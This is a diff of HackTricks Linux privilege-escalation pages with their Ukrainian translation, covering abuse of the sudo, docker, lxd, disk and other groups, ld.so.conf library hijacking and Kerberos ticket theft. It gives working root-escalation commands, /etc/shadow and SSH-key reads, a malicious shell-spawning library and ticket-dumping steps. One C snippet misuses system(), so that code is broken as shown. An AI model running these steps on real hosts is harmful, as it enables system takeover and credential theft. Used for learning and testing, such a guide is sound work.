- Provided by **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
- Надано **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
- Надано **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
## Weaponizing Distroless
## Зброя Distroless
The goal of weaponize a distroless container is to be able to **execute arbitrary binaries and payloads even with the limitations** implied by **distroless** (lack of common binaries in the system) and also protections commonly found in containers such as **read-only** or **no-execute** in `/dev/shm`.
Мета озброєння контейнера distroless полягає в тому, щоб мати можливість **виконувати довільні бінарні файли та корисні навантаження, навіть з обмеженнями**, які накладає **distroless** (відсутність загальних бінарних файлів у системі), а також захистами, які зазвичай зустрічаються в контейнерах, такими як **тільки для читання** або **без виконання** в `/dev/shm`.
### Through memory
### Через пам'ять
Coming at some point of 2023...
Приблизно в якийсь момент 2023 року...
### Via Existing binaries
### Через існуючі бінарні файли
#### openssl
\***\*[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **needed\*\* by the software that is going to be running inside the container.
\***\*[**У цьому пості,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) пояснюється, що бінарний файл **`openssl`** часто зустрічається в цих контейнерах, можливо, тому що він **потрібен\*\* програмному забезпеченню, яке буде працювати всередині контейнера.
{{#include ../../../banners/hacktricks-training.md}}

136
src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
View File

@ -1,13 +1,12 @@
# Interesting Groups - Linux Privesc
# Цікаві Групи - Linux Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Sudo/Admin Groups
## Sudo/Адміністративні Групи
### **PE - Method 1**
**Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines:
### **PE - Метод 1**
**Іноді**, **за замовчуванням (або через те, що деяке програмне забезпечення цього потребує)** всередині файлу **/etc/sudoers** ви можете знайти деякі з цих рядків:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@ -15,48 +14,36 @@
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
Це означає, що **будь-який користувач, який належить до групи sudo або admin, може виконувати будь-що як sudo**.
This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
Якщо це так, щоб **стати root, ви можете просто виконати**:
```
sudo su
```
### PE - Метод 2
### PE - Method 2
Find all suid binaries and check if there is the binary **Pkexec**:
Знайдіть всі suid бінарні файли та перевірте, чи є бінарний файл **Pkexec**:
```bash
find / -perm -4000 2>/dev/null
```
If you find that the binary **pkexec is a SUID binary** and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\
This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with:
Якщо ви виявите, що двійковий файл **pkexec є SUID двійковим файлом** і ви належите до **sudo** або **admin**, ви, ймовірно, зможете виконувати двійкові файли як sudo, використовуючи `pkexec`.\
Це пов'язано з тим, що зазвичай це групи всередині **політики polkit**. Ця політика в основному визначає, які групи можуть використовувати `pkexec`. Перевірте це за допомогою:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Там ви знайдете, які групи мають право виконувати **pkexec**, і **за замовчуванням** в деяких дистрибутивах Linux з'являються групи **sudo** та **admin**.
There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear.
To **become root you can execute**:
Щоб **стати root, ви можете виконати**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
If you try to execute **pkexec** and you get this **error**:
Якщо ви намагаєтеся виконати **pkexec** і отримуєте цю **помилку**:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
**Це не тому, що у вас немає дозволів, а тому, що ви не підключені без GUI**. І є обхід цього питання тут: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Вам потрібно **2 різні ssh сесії**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -67,39 +54,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
## Wheel Group
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
**Іноді**, **за замовчуванням** у файлі **/etc/sudoers** ви можете знайти цей рядок:
```
%wheel ALL=(ALL:ALL) ALL
```
Це означає, що **будь-який користувач, який належить до групи wheel, може виконувати будь-що як sudo**.
This means that **any user that belongs to the group wheel can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
Якщо це так, щоб **стати root, ви можете просто виконати**:
```
sudo su
```
## Shadow Group
Users from the **group shadow** can **read** the **/etc/shadow** file:
Користувачі з **групи shadow** можуть **читати** файл **/etc/shadow**:
```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
Отже, прочитайте файл і спробуйте **зламати деякі хеші**.
So, read the file and try to **crack some hashes**.
## Група співробітників
## Staff Group
**staff**: Allows users to add local modifications to the system (`/usr/local`) without needing root privileges (note that executables in `/usr/local/bin` are in the PATH variable of any user, and they may "override" the executables in `/bin` and `/usr/bin` with the same name). Compare with group "adm", which is more related to monitoring/security. [\[source\]](https://wiki.debian.org/SystemGroups)
In debian distributions, `$PATH` variable show that `/usr/local/` will be run as the highest priority, whether you are a privileged user or not.
**staff**: Дозволяє користувачам додавати локальні модифікації до системи (`/usr/local`), не потребуючи прав root (зауважте, що виконувані файли в `/usr/local/bin` знаходяться в змінній PATH будь-якого користувача, і вони можуть "перекривати" виконувані файли в `/bin` і `/usr/bin` з тією ж назвою). Порівняйте з групою "adm", яка більше пов'язана з моніторингом/безпекою. [\[source\]](https://wiki.debian.org/SystemGroups)
У дистрибутивах debian змінна `$PATH` показує, що `/usr/local/` буде виконуватися з найвищим пріоритетом, незалежно від того, чи є ви привілейованим користувачем, чи ні.
```bash
$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
@ -107,11 +86,9 @@ $ echo $PATH
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```
Якщо ми зможемо захопити деякі програми в `/usr/local`, ми зможемо легко отримати root.
If we can hijack some programs in `/usr/local`, we can easy to get root.
Hijack `run-parts` program is a way to easy to get root, because most of program will run a `run-parts` like (crontab, when ssh login).
Захоплення програми `run-parts` є простим способом отримати root, оскільки більшість програм запускають `run-parts`, як (crontab, при вході через ssh).
```bash
$ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly
@ -119,9 +96,7 @@ $ cat /etc/crontab | grep run-parts
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
```
or When a new ssh session login.
або Коли нова сесія ssh входить.
```bash
$ pspy64
2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]
@ -134,9 +109,7 @@ $ pspy64
2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash
```
**Exploit**
**Експлуатація**
```bash
# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
@ -155,13 +128,11 @@ $ ls -la /bin/bash
# 0x5 root it
$ /bin/bash -p
```
## Disk Group
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
Ця привілегія майже **еквівалентна доступу root**, оскільки ви можете отримати доступ до всіх даних всередині машини.
Files:`/dev/sd[a-z][1-9]`
```bash
df -h #Find where "/" is mounted
debugfs /dev/sda1
@ -170,57 +141,47 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
Зверніть увагу, що за допомогою debugfs ви також можете **записувати файли**. Наприклад, щоб скопіювати `/tmp/asd1.txt` до `/tmp/asd2.txt`, ви можете зробити:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
Однак, якщо ви спробуєте **записати файли, що належать root** (як `/etc/shadow` або `/etc/passwd`), ви отримаєте помилку "**Доступ заборонено**".
However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error.
## Video Group
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
## Група Video
Використовуючи команду `w`, ви можете дізнатися **хто увійшов в систему** і вона покаже вихід, подібний до наступного:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1** означає, що користувач **yossi фізично увійшов** до терміналу на машині.
The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
**Група video** має доступ до перегляду виходу екрану. В основному, ви можете спостерігати за екранами. Щоб це зробити, вам потрібно **захопити поточне зображення на екрані** в сирих даних і отримати роздільну здатність, яку використовує екран. Дані екрану можна зберегти в `/dev/fb0`, а роздільну здатність цього екрану можна знайти в `/sys/class/graphics/fb0/virtual_size`
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**:
Щоб **відкрити** **сирий образ**, ви можете використовувати **GIMP**, вибрати файл \*\*`screen.raw` \*\* і вибрати тип файлу **Сирі дані зображення**:
![](<../../../images/image (463).png>)
Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen):
Потім змініть Ширину та Висоту на ті, що використовуються на екрані, і перевірте різні Типи зображень (і виберіть той, який найкраще відображає екран):
![](<../../../images/image (317).png>)
## Root Group
## Група Root
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
**Check which files root members can modify**:
Схоже, що за замовчуванням **учасники групи root** можуть мати доступ до **модифікації** деяких **конфігураційних файлів сервісів** або деяких **файлів бібліотек** або **інших цікавих речей**, які можуть бути використані для ескалації привілеїв...
**Перевірте, які файли можуть модифікувати учасники root**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
## Docker Group
You can **mount the root filesystem of the host machine to an instance’s volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
Ви можете **монтувати кореневу файлову систему хост-машини до обсягу екземпляра**, тому, коли екземпляр запускається, він відразу завантажує `chroot` у цей обсяг. Це фактично надає вам root на машині.
```bash
docker image #Get images from the docker service
@ -232,33 +193,32 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
```
Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here:
Нарешті, якщо вам не подобаються жодні з попередніх пропозицій, або вони не працюють з якоїсь причини (docker api firewall?), ви завжди можете спробувати **запустити привілейований контейнер і втекти з нього**, як пояснено тут:
{{#ref}}
../docker-security/
{{#endref}}
If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.**
Якщо у вас є права на запис над сокетом docker, прочитайте [**цей пост про те, як підвищити привілеї, зловживаючи сокетом docker**](../#writable-docker-socket)**.**
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
## lxc/lxd Group
## Група lxc/lxd
{{#ref}}
./
{{#endref}}
## Adm Group
## Група Adm
Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\
Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**.
Зазвичай **члени** групи **`adm`** мають права на **читання** файлів журналів, розташованих у _/var/log/_.\
Отже, якщо ви скомпрометували користувача в цій групі, вам обов'язково слід **переглянути журнали**.
## Auth group
## Група Auth
Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\
These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
У OpenBSD група **auth** зазвичай може записувати в папки _**/etc/skey**_ і _**/var/db/yubikey**_, якщо вони використовуються.\
Ці права можуть бути зловжиті за допомогою наступного експлойту для **підвищення привілеїв** до root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
{{#include ../../../banners/hacktricks-training.md}}

30
src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md
View File

@ -1,15 +1,14 @@
# lxd/lxc Group - Privilege escalation
# lxd/lxc Група - Підвищення привілеїв
{{#include ../../../banners/hacktricks-training.md}}
If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root
Якщо ви належите до _**lxd**_ **або** _**lxc**_ **групи**, ви можете стати root
## Exploiting without internet
## Експлуатація без інтернету
### Method 1
You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github):
### Метод 1
Ви можете встановити на своєму комп'ютері цей дистрибутивний конструктор: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(дотримуйтесь інструкцій на github):
```bash
sudo su
# Install requirements
@ -34,9 +33,7 @@ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
## Using build-lxc
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
```
Upload the files **lxd.tar.xz** and **rootfs.squashfs**, add the image to the repo and create a container:
Завантажте файли **lxd.tar.xz** та **rootfs.squashfs**, додайте зображення до репозиторію та створіть контейнер:
```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
@ -51,23 +48,19 @@ lxc list
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```
> [!CAUTION]
> If you find this error _**Error: No storage pool found. Please create a new storage pool**_\
> Run **`lxd init`** and **repeat** the previous chunk of commands
Finally you can execute the container and get root:
> Якщо ви знайдете цю помилку _**Помилка: Не знайдено пул сховища. Будь ласка, створіть новий пул сховища**_\
> Виконайте **`lxd init`** і **повторіть** попередній блок команд
Нарешті, ви можете виконати контейнер і отримати root:
```bash
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
### Метод 2
### Method 2
Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
Створіть образ Alpine і запустіть його, використовуючи прапор `security.privileged=true`, змушуючи контейнер взаємодіяти як root з файловою системою хоста.
```bash
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
@ -87,5 +80,4 @@ lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
```
{{#include ../../../banners/hacktricks-training.md}}

110
src/linux-hardening/privilege-escalation/ld.so.conf-example.md
View File

@ -2,82 +2,71 @@
{{#include ../../banners/hacktricks-training.md}}
## Prepare the environment
## Підготовка середовища
In the following section you can find the code of the files we are going to use to prepare the environment
У наступному розділі ви знайдете код файлів, які ми будемо використовувати для підготовки середовища
{{#tabs}}
{{#tab name="sharedvuln.c"}}
```c
#include <stdio.h>
#include "libcustom.h"
int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
```
{{#endtab}}
{{#tab name="libcustom.h"}}
```c
#include <stdio.h>
void vuln_func();
```
{{#endtab}}
{{#tab name="libcustom.c"}}
```c
#include <stdio.h>
void vuln_func()
{
puts("Hi");
puts("Hi");
}
```
{{#endtab}}
{{#endtabs}}
1. **Create** those files in your machine in the same folder
2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. **Copy** `libcustom.so` to `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs)
4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom`
1. **Створіть** ці файли на вашій машині в тій же папці
2. **Скомпілюйте** **бібліотеку**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. **Скопіюйте** `libcustom.so` до `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root привілеї)
4. **Скомпілюйте** **виконуваний файл**: `gcc sharedvuln.c -o sharedvuln -lcustom`
### Check the environment
Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary.
### Перевірте середовище
Перевірте, що _libcustom.so_ завантажується з _/usr/lib_ і що ви можете **виконати** двійковий файл.
```
$ ldd sharedvuln
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
$ ./sharedvuln
Welcome to my amazing application!
Hi
```
## Exploit
In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_:
У цьому сценарії ми будемо припускати, що **хтось створив вразливий запис** всередині файлу в _/etc/ld.so.conf/_:
```bash
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
```
The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\
**Download and compile** the following code inside that path:
Вразлива папка - _/home/ubuntu/lib_ (де у нас є можливість запису).\
**Завантажте та скомпілюйте** наступний код у цій папці:
```c
//gcc -shared -o libcustom.so -fPIC libcustom.c
@ -86,27 +75,23 @@ The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\
#include <sys/types.h>
void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}
```
Тепер, коли ми **створили шкідливу бібліотеку libcustom всередині неправильно налаштованого** шляху, нам потрібно почекати **перезавантаження** або щоб користувач root виконав **`ldconfig`** (_якщо ви можете виконати цей бінар як **sudo** або у нього є **suid біт**, ви зможете виконати його самостійно_).
Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** (_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_).
Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from:
Після цього **перевірте знову**, звідки виконується `sharevuln`, завантажуючи бібліотеку `libcustom.so`:
```c
$ldd sharedvuln
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
```
As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed:
Як ви можете бачити, він **завантажується з `/home/ubuntu/lib`** і якщо будь-який користувач його виконає, буде виконано оболонку:
```c
$ ./sharedvuln
Welcome to my amazing application!
@ -114,40 +99,35 @@ I'm the bad library
$ whoami
ubuntu
```
> [!NOTE]
> Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges.
> Зверніть увагу, що в цьому прикладі ми не підвищили привілеї, але модифікуючи виконувані команди та **чекаючи, поки root або інший привілейований користувач виконає вразливий бінарний файл**, ми зможемо підвищити привілеї.
### Other misconfigurations - Same vuln
### Інші неправильні налаштування - Така ж вразливість
In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\
But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it.
У попередньому прикладі ми сфальсифікували неправильне налаштування, де адміністратор **встановив непривабливу папку в конфігураційному файлі в `/etc/ld.so.conf.d/`**.\
Але є й інші неправильні налаштування, які можуть викликати таку ж вразливість, якщо у вас є **права на запис** у деякому **конфігураційному файлі** в `/etc/ld.so.conf.d`, у папці `/etc/ld.so.conf.d` або у файлі `/etc/ld.so.conf`, ви можете налаштувати таку ж вразливість і експлуатувати її.
## Exploit 2
**Suppose you have sudo privileges over `ldconfig`**.\
You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\
So, lets create the files and folders needed to load "/tmp":
## Експлуатація 2
**Припустимо, у вас є привілеї sudo над `ldconfig`**.\
Ви можете вказати `ldconfig`, **звідки завантажувати конфігураційні файли**, тому ми можемо скористатися цим, щоб змусити `ldconfig` завантажувати довільні папки.\
Отже, давайте створимо файли та папки, необхідні для завантаження "/tmp":
```bash
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf
```
Now, as indicated in the **previous exploit**, **create the malicious library inside `/tmp`**.\
And finally, lets load the path and check where is the binary loading the library from:
Тепер, як вказано в **попередньому експлойті**, **створіть шкідливу бібліотеку в `/tmp`**.\
І нарешті, давайте завантажимо шлях і перевіримо, звідки бінарний файл завантажує бібліотеку:
```bash
ldconfig -f fake.ld.so.conf
ldd sharedvuln
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
```
**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.**
**Як ви можете бачити, маючи привілеї sudo над `ldconfig`, ви можете експлуатувати ту ж уразливість.**
{{#include ../../banners/hacktricks-training.md}}

68
src/linux-hardening/privilege-escalation/linux-active-directory.md
View File

@ -2,19 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
{% embed url="https://websec.nl/" %}
Linux-машина також може бути присутня в середовищі Active Directory.
A linux machine can also be present inside an Active Directory environment.
A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine.
Linux-машина в AD може **зберігати різні CCACHE квитки всередині файлів. Ці квитки можуть бути використані та зловживані, як і будь-який інший kerberos квиток**. Щоб прочитати ці квитки, вам потрібно бути власником квитка або **root** на машині.
## Enumeration
### AD enumeration from linux
If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD.
Якщо у вас є доступ до AD в linux (або bash в Windows), ви можете спробувати [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) для перерахунку AD.
You can also check the following page to learn **other ways to enumerate AD from linux**:
Ви також можете перевірити наступну сторінку, щоб дізнатися **інші способи перерахунку AD з linux**:
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
@ -22,7 +20,7 @@ You can also check the following page to learn **other ways to enumerate AD from
### FreeIPA
FreeIPA is an open-source **alternative** to Microsoft Windows **Active Directory**, mainly for **Unix** environments. It combines a complete **LDAP directory** with an MIT **Kerberos** Key Distribution Center for management akin to Active Directory. Utilizing the Dogtag **Certificate System** for CA & RA certificate management, it supports **multi-factor** authentication, including smartcards. SSSD is integrated for Unix authentication processes. Learn more about it in:
FreeIPA є відкритим **альтернативою** Microsoft Windows **Active Directory**, в основному для **Unix** середовищ. Він поєднує в собі повний **LDAP каталог** з MIT **Kerberos** Центром Розподілу Ключів для управління, подібним до Active Directory. Використовуючи систему сертифікатів Dogtag для управління сертифікатами CA та RA, він підтримує **багатофакторну** аутентифікацію, включаючи смарт-карти. SSSD інтегровано для процесів аутентифікації Unix. Дізнайтеся більше про це на:
{{#ref}}
../freeipa-pentesting.md
@ -32,7 +30,7 @@ FreeIPA is an open-source **alternative** to Microsoft Windows **Active Director
### Pass The Ticket
In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack:
На цій сторінці ви знайдете різні місця, де ви могли б **знайти kerberos квитки всередині linux хоста**, на наступній сторінці ви можете дізнатися, як перетворити ці формати CCache квитків у Kirbi (формат, який вам потрібно використовувати в Windows) і також як виконати атаку PTT:
{{#ref}}
../../windows-hardening/active-directory-methodology/pass-the-ticket.md
@ -40,10 +38,9 @@ In this page you are going to find different places were you could **find kerber
### CCACHE ticket reuse from /tmp
CCACHE files are binary formats for **storing Kerberos credentials** are typically stored with 600 permissions in `/tmp`. These files can be identified by their **name format, `krb5cc_%{uid}`,** correlating to the user's UID. For authentication ticket verification, the **environment variable `KRB5CCNAME`** should be set to the path of the desired ticket file, enabling its reuse.
List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID.
CCACHE файли є бінарними форматами для **зберігання Kerberos облікових даних**, зазвичай зберігаються з правами 600 у `/tmp`. Ці файли можна ідентифікувати за їх **форматом імені, `krb5cc_%{uid}`,** що відповідає UID користувача. Для перевірки квитка аутентифікації, **змінна середовища `KRB5CCNAME`** повинна бути встановлена на шлях до бажаного файлу квитка, що дозволяє його повторне використання.
Перерахуйте поточний квиток, що використовується для аутентифікації, за допомогою `env | grep KRB5CCNAME`. Формат є портативним, і квиток може бути **повторно використаний, встановивши змінну середовища** за допомогою `export KRB5CCNAME=/tmp/ticket.ccache`. Формат імені квитка Kerberos - `krb5cc_%{uid}`, де uid - це UID користувача.
```bash
# Find tickets
ls /tmp/ | grep krb5cc
@ -52,79 +49,62 @@ krb5cc_1000
# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000
```
### CCACHE квитки повторного використання з keyring
### CCACHE ticket reuse from keyring
**Kerberos tickets stored in a process's memory can be extracted**, particularly when the machine's ptrace protection is disabled (`/proc/sys/kernel/yama/ptrace_scope`). A useful tool for this purpose is found at [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), which facilitates the extraction by injecting into sessions and dumping tickets into `/tmp`.
To configure and use this tool, the steps below are followed:
**Квитки Kerberos, збережені в пам'яті процесу, можуть бути витягнуті**, особливо коли захист ptrace на машині вимкнений (`/proc/sys/kernel/yama/ptrace_scope`). Корисний інструмент для цієї мети можна знайти за адресою [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), який полегшує витяг, інжектуючи в сесії та скидаючи квитки в `/tmp`.
Щоб налаштувати та використовувати цей інструмент, слід виконати наведені нижче кроки:
```bash
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
/tmp/tickey -i
```
Ця процедура намагатиметься інжектувати в різні сесії, вказуючи на успіх, зберігаючи витягнуті квитки в `/tmp` з іменуванням `__krb_UID.ccache`.
This procedure will attempt to inject into various sessions, indicating success by storing extracted tickets in `/tmp` with a naming convention of `__krb_UID.ccache`.
### Повторне використання квитків CCACHE з SSSD KCM
### CCACHE ticket reuse from SSSD KCM
SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions.
Invoking \*\*`SSSDKCMExtractor` \*\* with the --database and --key parameters will parse the database and **decrypt the secrets**.
